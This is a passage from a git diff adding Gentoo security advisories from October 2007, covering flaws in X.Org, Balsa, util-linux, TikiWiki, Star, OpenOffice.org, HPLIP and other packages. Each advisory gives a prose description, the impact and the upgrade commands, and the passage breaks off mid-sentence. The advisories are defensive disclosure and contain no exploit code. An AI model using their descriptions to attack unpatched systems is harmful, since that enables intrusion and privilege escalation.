+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-16">
+  <title>X.Org X server: Composite local privilege escalation</title>
+  <synopsis>
+    A vulnerability has been discovered in the Composite extension of the X.Org
+    X server, allowing for a local privilege escalation.
+  </synopsis>
+  <product type="ebuild">X.Org</product>
+  <announced>October 14, 2007</announced>
+  <revised>October 14, 2007: 01</revised>
+  <bug>191964</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-base/xorg-server" auto="yes" arch="*">
+      <unaffected range="ge">1.3.0.0-r1</unaffected>
+      <vulnerable range="lt">1.3.0.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The X Window System is a graphical windowing system based on a
+    client/server model.
+    </p>
+  </background>
+  <description>
+    <p>
+    Aaron Plattner discovered a buffer overflow in the compNewPixmap()
+    function when copying data from a large pixel depth pixmap into a
+    smaller pixel depth pixmap.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could execute arbitrary code with the privileges of
+    the user running the X server, typically root.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable the Composite extension by setting ' Option "Composite"
+    "disable" ' in the Extensions section of xorg.conf.
+    </p>
+    <p>
+    Note: This could affect the functionality of some applications.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All X.Org X server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-base/xorg-server-1.3.0.0-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4730">CVE-2007-4730</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 02 Oct 2007 20:35:12 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 02 Oct 2007 20:35:33 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 08 Oct 2007 00:30:05 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-17.xml b/xml/htdocs/security/en/glsa/glsa-200710-17.xml
new file mode 100644
index 00000000..ffad8eb9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-17.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-17">
+  <title>Balsa: Buffer overflow</title>
+  <synopsis>
+    Balsa is vulnerable to a buffer overflow allowing for the user-assisted
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">balsa</product>
+  <announced>October 16, 2007</announced>
+  <revised>October 16, 2007: 01</revised>
+  <bug>193179</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/balsa" auto="yes" arch="*">
+      <unaffected range="ge">2.3.20</unaffected>
+      <vulnerable range="lt">2.3.20</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Balsa is a highly configurable email client for GNOME.
+    </p>
+  </background>
+  <description>
+    <p>
+    Evil Ninja Squirrel discovered a stack-based buffer overflow in the
+    ir_fetch_seq() function when receiving a long response to a FETCH
+    command (CVE-2007-5007).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to connect to a malicious or
+    compromised IMAP server, possibly leading to the execution of arbitrary
+    code with the rights of the user running Balsa.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Balsa users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/balsa-2.3.20&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5007">CVE-2007-5007</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Sep 2007 14:01:38 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Sep 2007 14:01:46 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 08 Oct 2007 00:14:17 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-18.xml b/xml/htdocs/security/en/glsa/glsa-200710-18.xml
new file mode 100644
index 00000000..9c381527
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-18.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-18">
+  <title>util-linux: Local privilege escalation</title>
+  <synopsis>
+    The mount and umount programs might allow local attackers to gain root
+    privileges.
+  </synopsis>
+  <product type="ebuild">util-linux</product>
+  <announced>October 18, 2007</announced>
+  <revised>October 18, 2007: 01</revised>
+  <bug>195390</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/util-linux" auto="yes" arch="*">
+      <unaffected range="ge">2.12r-r8</unaffected>
+      <vulnerable range="lt">2.12r-r8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    util-linux is a suite of Linux programs including mount and umount,
+    programs used to mount and unmount filesystems.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ludwig Nussel discovered that the check_special_mountprog() and
+    check_special_umountprog() functions call setuid() and setgid() in the
+    wrong order and do not check the return values, which can lead to
+    privileges being dropped improperly.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker may be able to exploit this vulnerability by using
+    mount helpers such as the mount.nfs program to gain root privileges and
+    run arbitrary commands.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All util-linux users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/util-linux-2.12r-r8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5191">CVE-2007-5191</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 12 Oct 2007 17:17:12 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 12 Oct 2007 17:18:23 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 15 Oct 2007 00:47:53 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-19.xml b/xml/htdocs/security/en/glsa/glsa-200710-19.xml
new file mode 100644
index 00000000..c2ab1f70
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-19.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-19">
+  <title>The Sleuth Kit: Integer underflow</title>
+  <synopsis>
+    An integer underflow vulnerability has been reported in The Sleuth Kit
+    allowing for the user-assisted execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">sleuthkit</product>
+  <announced>October 18, 2007</announced>
+  <revised>October 18, 2007: 01</revised>
+  <bug>181977</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-forensics/sleuthkit" auto="yes" arch="*">
+      <unaffected range="ge">2.0.9</unaffected>
+      <vulnerable range="lt">2.0.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Sleuth Kit is a collection of file system and media management
+    forensic analysis tools.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jean-Sebastien Guay-Leroux reported an integer underflow in the
+    file_printf() function of the "file" utility which is bundled with The
+    Sleuth Kit (CVE-2007-1536, GLSA 200703-26). Note that Gentoo is not
+    affected by the improper fix for this vulnerability (identified as
+    CVE-2007-2799, see GLSA 200705-25) since version 4.20 of "file" was
+    never shipped with The Sleuth Kit ebuilds.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to run The Sleuth Kit on a file
+    system containing a specially crafted file that would trigger a
+    heap-based buffer overflow possibly leading to the execution of
+    arbitrary code with the rights of the user running The Sleuth Kit.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All The Sleuth Kit users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-forensics/sleuthkit-2.0.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1536">CVE-2007-1536</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2799">CVE-2007-2799</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200703-26.xml">GLSA 200703-26</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200705-25.xml">GLSA 200705-25</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 29 Sep 2007 13:59:12 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 29 Sep 2007 13:59:20 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 07 Oct 2007 23:47:34 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-20.xml b/xml/htdocs/security/en/glsa/glsa-200710-20.xml
new file mode 100644
index 00000000..8788be87
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-20.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-20">
+  <title>PDFKit, ImageKits: Buffer overflow</title>
+  <synopsis>
+    PDFKit and ImageKits are vulnerable to an integer overflow and a stack
+    overflow allowing for the user-assisted execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">pdfkit imagekits</product>
+  <announced>October 18, 2007</announced>
+  <revised>October 18, 2007: 01</revised>
+  <bug>188185</bug>
+  <access>remote</access>
+  <affected>
+    <package name="gnustep-libs/pdfkit" auto="yes" arch="*">
+      <vulnerable range="le">0.9_pre062906</vulnerable>
+    </package>
+    <package name="gnustep-libs/imagekits" auto="yes" arch="*">
+      <vulnerable range="le">0.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PDFKit is a framework for rendering of PDF content in GNUstep
+    applications. ImageKits is a collection of frameworks to support
+    imaging in GNUstep applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    Maurycy Prodeus discovered an integer overflow vulnerability possibly
+    leading to a stack-based buffer overflow in the XPDF code which PDFKit
+    is based on. ImageKits also contains a copy of PDFKit.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to view a specially crafted PDF file with a viewer
+    based on ImageKits or PDFKit such as Gentoo's ViewPDF, a remote
+    attacker could cause an overflow, potentially resulting in the
+    execution of arbitrary code with the privileges of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    PDFKit and ImageKits are not maintained upstream, so the packages were
+    masked in Portage. We recommend that users unmerge PDFKit and
+    ImageKits:
+    </p>
+    <code>
+    # emerge --unmerge gnustep-libs/pdfkit
+    # emerge --unmerge gnustep-libs/imagekits</code>
+    <p>
+    As an alternative, users should upgrade their systems to use PopplerKit
+    instead of PDFKit and Vindaloo instead of ViewPDF.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3387">CVE-2007-3387</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200709-12.xml">GLSA 200709-12</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 02 Oct 2007 21:24:54 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 07 Oct 2007 23:31:24 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 09 Oct 2007 18:28:10 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-21.xml b/xml/htdocs/security/en/glsa/glsa-200710-21.xml
new file mode 100644
index 00000000..ce4b1be3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-21.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-21">
+  <title>TikiWiki: Arbitrary command execution</title>
+  <synopsis>
+    Tikiwiki contains a command injection vulnerability which may allow remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">tikiwiki</product>
+  <announced>October 20, 2007</announced>
+  <revised>October 20, 2007: 01</revised>
+  <bug>195503</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/tikiwiki" auto="yes" arch="*">
+      <unaffected range="ge">1.9.8.1</unaffected>
+      <vulnerable range="lt">1.9.8.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TikiWiki is an open source content management system written in PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    ShAnKaR reported that input passed to the "f" array parameter in
+    tiki-graph_formula.php is not properly verified before being used to
+    execute PHP functions.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could execute arbitrary code with the rights of the user
+    running the web server by passing a specially crafted parameter string
+    to the tiki-graph_formula.php file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TikiWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/tikiwiki-1.9.8.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5423">CVE-2007-5423</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 13 Oct 2007 13:08:51 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 17 Oct 2007 22:20:02 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 18 Oct 2007 18:49:04 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-22.xml b/xml/htdocs/security/en/glsa/glsa-200710-22.xml
new file mode 100644
index 00000000..257b1c04
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-22.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-22">
+  <title>TRAMP: Insecure temporary file creation</title>
+  <synopsis>
+    The TRAMP package for GNU Emacs insecurely creates temporary files.
+  </synopsis>
+  <product type="ebuild">tramp</product>
+  <announced>October 20, 2007</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>194713</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-emacs/tramp" auto="yes" arch="*">
+      <unaffected range="ge">2.1.10-r2</unaffected>
+      <unaffected range="lt">2.1</unaffected>
+      <vulnerable range="lt">2.1.10-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TRAMP is a remote file editing package for GNU Emacs, a highly
+    extensible and customizable text editor.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Monnier discovered that the tramp-make-tramp-temp-file()
+    function creates temporary files in an insecure manner.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the directory where the
+    temporary files are written, pointing to a valid file somewhere on the
+    filesystem that is writable by the user running TRAMP. When TRAMP
+    writes the temporary file, the target valid file would then be
+    overwritten with the contents of the TRAMP temporary file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TRAMP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emacs/tramp-2.1.10-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5377">CVE-2007-5377</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 11 Oct 2007 21:37:14 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 18 Oct 2007 20:15:33 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 18 Oct 2007 20:17:00 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-23.xml b/xml/htdocs/security/en/glsa/glsa-200710-23.xml
new file mode 100644
index 00000000..ae009159
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-23.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-23">
+  <title>Star: Directory traversal vulnerability</title>
+  <synopsis>
+    A directory traversal vulnerability has been discovered in Star.
+  </synopsis>
+  <product type="ebuild">star</product>
+  <announced>October 22, 2007</announced>
+  <revised>October 22, 2007: 01</revised>
+  <bug>189690</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/star" auto="yes" arch="*">
+      <unaffected range="ge">1.5_alpha84</unaffected>
+      <vulnerable range="lt">1.5_alpha84</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Star program provides the ability to create and extract tar
+    archives.
+    </p>
+  </background>
+  <description>
+    <p>
+    Robert Buchholz of the Gentoo Security team discovered a directory
+    traversal vulnerability in the has_dotdot() function which does not
+    identify //.. (slash slash dot dot) sequences in file names inside tar
+    files.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By enticing a user to extract a specially crafted tar archive, a remote
+    attacker could extract files to arbitrary locations outside of the
+    specified directory with the permissions of the user running Star.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Star users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/star-1.5_alpha84&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4134">CVE-2007-4134</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 11 Oct 2007 21:17:08 +0000">
+    aetius
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 15 Oct 2007 01:04:21 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 15 Oct 2007 17:56:09 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-24.xml b/xml/htdocs/security/en/glsa/glsa-200710-24.xml
new file mode 100644
index 00000000..ea05af3a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-24.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-24">
+  <title>OpenOffice.org: Heap-based buffer overflow</title>
+  <synopsis>
+    A heap-based buffer overflow vulnerability has been discovered in
+    OpenOffice.org, allowing for the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">openoffice</product>
+  <announced>October 23, 2007</announced>
+  <revised>October 23, 2007: 01</revised>
+  <bug>192818</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/openoffice" auto="yes" arch="*">
+      <unaffected range="ge">2.3.0</unaffected>
+      <vulnerable range="lt">2.3.0</vulnerable>
+    </package>
+    <package name="app-office/openoffice-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.3.0</unaffected>
+      <vulnerable range="lt">2.3.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenOffice.org is an open source office productivity suite, including
+    word processing, spreadsheet, presentation, drawing, data charting,
+    formula editing, and file conversion facilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDefense Labs reported that the TIFF parsing code uses untrusted values
+    to calculate buffer sizes, which can lead to an integer overflow
+    resulting in heap-based buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    document, possibly leading to execution of arbitrary code with the
+    privileges of the user running OpenOffice.org.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenOffice.org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-2.3.0&quot;</code>
+    <p>
+    All OpenOffice.org binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-bin-2.3.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2834">CVE-2007-2834</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 20 Oct 2007 21:31:00 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 20 Oct 2007 21:31:08 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 21 Oct 2007 10:52:39 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-25.xml b/xml/htdocs/security/en/glsa/glsa-200710-25.xml
new file mode 100644
index 00000000..c27f6b87
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-25.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-25">
+  <title>MLDonkey: Privilege escalation</title>
+  <synopsis>
+    The Gentoo MLDonkey ebuild adds a user to the system with a valid login
+    shell and no password.
+  </synopsis>
+  <product type="ebuild">mldonkey</product>
+  <announced>October 24, 2007</announced>
+  <revised>November 07, 2007: 02</revised>
+  <bug>189412</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-p2p/mldonkey" auto="yes" arch="*">
+      <unaffected range="ge">2.9.0-r3</unaffected>
+      <vulnerable range="lt">2.9.0-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MLDonkey is a peer-to-peer filesharing client that connects to several
+    different peer-to-peer networks, including Overnet and BitTorrent.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Gentoo MLDonkey ebuild adds a user to the system named "p2p" so
+    that the MLDonkey service can run under a user with low privileges.
+    With older Portage versions this user is created with a valid login
+    shell and no password.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could log into a vulnerable system as the p2p user.
+    This would require an installed login service that permitted empty
+    passwords, such as SSH configured with the "PermitEmptyPasswords yes"
+    option, a local login console, or a telnet server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    See Resolution.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Change the p2p user's shell to disallow login. For example, as root run
+    the following command:
+    </p>
+    <code>
+    # usermod -s /bin/false p2p</code>
+    <p>
+    NOTE: updating to the current MLDonkey ebuild will not remove this
+    vulnerability, it must be fixed manually. The updated ebuild is to
+    prevent this problem from occurring in the future.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5714">CVE-2007-5714</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 10 Sep 2007 16:21:11 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 07 Oct 2007 16:40:51 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 07 Oct 2007 19:26:05 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-26.xml b/xml/htdocs/security/en/glsa/glsa-200710-26.xml
new file mode 100644
index 00000000..8176b46b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-26.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-26">
+  <title>HPLIP: Privilege escalation</title>
+  <synopsis>
+    The hpssd daemon might allow local attackers to execute arbitrary commands
+    with root privileges.
+  </synopsis>
+  <product type="ebuild">hplip</product>
+  <announced>October 24, 2007</announced>
+  <revised>October 24, 2007: 01</revised>
+  <bug>195565</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-print/hplip" auto="yes" arch="*">
+      <unaffected range="rge">1.7.4a-r2</unaffected>
+      <unaffected range="ge">2.7.9-r1</unaffected>
+      <vulnerable range="lt">2.7.9-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Hewlett-Packard Linux Imaging and Printing system (HPLIP) provides
+    drivers for HP's inkjet and laser printers, scanners and fax machines.
+    It integrates with the Common UNIX Printing System (CUPS) and Scanner
+    Access Now Easy (SANE).
+    </p>
+  </background>
+  <description>
+    <p>
+    Kees Cook from the Ubuntu Security team discovered that the hpssd
+    daemon does not correctly validate user supplied data before passing it
+    to a "popen3()" call.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker may be able to exploit this vulnerability by sending a
+    specially crafted request to the hpssd daemon to execute arbitrary
+    commands with the privileges of the user running hpssd, usually root.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All HPLIP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;net-print/hplip&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5208">CVE-2007-5208</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 21 Oct 2007 20:50:24 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 21 Oct 2007 20:51:40 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 21 Oct 2007 21:46:02 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-27.xml b/xml/htdocs/security/en/glsa/glsa-200710-27.xml
new file mode 100644
index 00000000..00198b2d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-27.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-27">
+  <title>ImageMagick: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in ImageMagick, possibly
+    resulting in arbitrary code execution or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">imagemagick</product>
+  <announced>October 24, 2007</announced>
+  <revised>October 24, 2007: 01</revised>
+  <bug>186030</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/imagemagick" auto="yes" arch="*">
+      <unaffected range="ge">6.3.5.10</unaffected>
+      <vulnerable range="lt">6.3.5.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ImageMagick is a collection of tools and libraries for manipulating
+    various image formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    regenrecht reported multiple infinite loops in functions ReadDCMImage()
+    and ReadXCFImage() (CVE-2007-4985), multiple integer overflows when
